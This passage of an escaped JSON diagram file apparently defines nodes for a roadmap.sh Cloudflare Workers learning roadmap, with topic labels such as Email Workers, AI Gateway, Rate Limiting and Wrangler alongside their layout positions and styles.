true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8bOWuopxHtBWUSFaVT54P\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 561.482416535137,\n        \"y\": 1634.6916034998312\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Images\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vHQdMgaL2EEr2o_eJmOuV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 561.482416535137,\n        \"y\": 1634.6916034998312\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vHQdMgaL2EEr2o_eJmOuV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 561.482416535137,\n        \"y\": 1753.2807234618997\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Calls\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"a0S0_JLwLLNGLUAHrqG4P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 561.482416535137,\n        \"y\": 1753.2807234618997\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aKEH4ZxI6J1nwjp_AgH5r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 701.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Logging and Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9ef2VPCru8lCmRxxGe-Eo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 701.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z-1Ye5hcNdr9r6Gwdw7mv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 561.482416535137,\n        \"y\": 1956.3878759780328\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Email Workers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vHQdMgaL2EEr2o_eJmOuV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 561.482416535137,\n        \"y\": 1956.3878759780328\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-lsYPD6JueIV94RybGH_Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 561.482416535137,\n        \"y\": 2047.265056764798\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Routing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 561.482416535137,\n        \"y\": 2047.265056764798\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6bNUqx5f_w5NuDL25BABN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 561.482416535137,\n        \"y\": 2100.265056764798\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-lsYPD6JueIV94RybGH_Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 561.482416535137,\n        \"y\": 2100.265056764798\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kdIfqTCcOSvV4KDpjr7nu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 561.482416535137,\n        \"y\": 2153.265056764798\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Filtering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6bNUqx5f_w5NuDL25BABN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 561.482416535137,\n        \"y\": 2153.265056764798\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vu8yJsS1WccsdcEVUqwNd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 361.39029212267985,\n        \"y\": 1956.3878759780328\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AI Gateway\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 152,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 152,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 361.39029212267985,\n        \"y\": 1956.3878759780328\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qkFRW_tJB8_1IYpYskQ5M\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 74.57806488778613,\n        \"y\": 1956.3878759780328\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Browser Rendering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vu8yJsS1WccsdcEVUqwNd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 74.57806488778613,\n        \"y\": 1956.3878759780328\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 74.57806488778613,\n        \"y\": 2141.5338176098276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security & Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 74.57806488778613,\n        \"y\": 2141.5338176098276\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8IF7jftushwZrn7JXpC_v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.3575478619334,\n        \"y\": 1982.5338176098273\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Workers Security Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.3575478619334,\n        \"y\": 1982.5338176098273\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uNinrB9wm5ahjGXu5fc0g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2035.5338176098276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Isolates Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2035.5338176098276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KWix4jeNUKJ07Iu95Mqj_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2088.5338176098276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Security Headers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2088.5338176098276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JP5U6c2fZjtkU-Xzwtapx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2141.5338176098276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rate Limiting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2141.5338176098276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ui3pUfsGMxv4WRzHkgbF0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2194.5338176098276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cache API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2194.5338176098276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"INiqdtppBmCthOEXuHb-V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2247.5338176098276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTML Rewriting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2247.5338176098276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sXBxaQtwJ-luGVXdqVXk1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2300.5338176098276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Edge SSL/TLS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2300.5338176098276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"So-cKAVfbgsw2zzFREu7Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2353.5338176098276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bot Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.3575478619334,\n        \"y\": 2353.5338176098276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wvurOKbemF4Tt2WZcmqDL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 74.57806488778613,\n        \"y\": 2254.2760834530172\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Integration & Workflows\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 74.57806488778613,\n        \"y\": 2254.2760834530172\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SaHqm7T4FFVrsgyfImo66\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2349.674307977968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pages Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2349.674307977968\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JfpVexcbuWCx_R3EjFmbo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2402.674307977968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Service Bindings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2402.674307977968\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jYAUIKozuhsNK5LbkeAJ6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2455.674307977968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Inter Worker Communication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2455.674307977968\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4g5w6IAdzefdlRTxbRbdS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2508.674307977968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"External API Integration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2508.674307977968\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uOUjI6CPrhZIlz6mRCtOW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2561.674307977968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Webhook Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2561.674307977968\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z9Yywlf7rXFBtxTq5B2Y5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2614.674307977968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event-driven Architectures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 58.14668680870477,\n        \"y\": 2614.674307977968\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gsCRhwwjXuyueaYHSPOVZ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 552.5408714863938,\n        \"y\": 2254.2760834530172\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Development Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 552.5408714863938,\n        \"y\": 2254.2760834530172\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n0vIbHmUZHrF4WjEhYdb8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2348.4410077281054\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Wrangler\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2348.4410077281054\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vZHBp4S6WaS5sa5rfUOk-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2401.4410077281054\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Miniflare\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2401.4410077281054\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G6YQZUQh_x8Qxm1oBseLQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2454.4410077281054\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevTools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2454.4410077281054\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jyWxaMx7_nojt5HsyAv7K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2507.4410077281054\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2507.4410077281054\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Cy2T8978yUAPGol-yzxv_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2560.4410077281054\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Monitoring Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2560.4410077281054\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TmQC7fTL6b9EsBDYibv4g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2613.4410077281054\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugging Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 537.0408714863938,\n        \"y\": 2613.4410077281054\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8WZpSKBHCeYfTEL9tBNKr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 562.0408714863938,\n        \"y\": 1852.987126931784\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tunnels\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vHQdMgaL2EEr2o_eJmOuV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 562.0408714863938,\n        \"y\": 1852.987126931784\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HKEkt3803YCZEiuKAK03p\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 421.119142886761,\n        \"y\": 2279.0426302976457\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.85\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 454,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 454\n      },\n      \"positionAbsolute\": {\n        \"x\": 421.119142886761,\n        \"y\": 2279.0426302976457\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 454\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 117,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 96.6731233760895,\n        \"y\": 2724.273088708159\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following relevant tracks to learn more\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 96.6731233760895,\n        \"y\": 2724.273088708159\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 117\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 410,\n        \"height\": 117\n      }\n    },\n    {\n      \"width\": 117,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 118.45973607629605,\n        \"y\": 2778.4187461412685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AWS\",\n        \"href\": \"https://roadmap.sh/aws\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 118.45973607629605,\n        \"y\": 2778.4187461412685\n      },\n      \"style\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      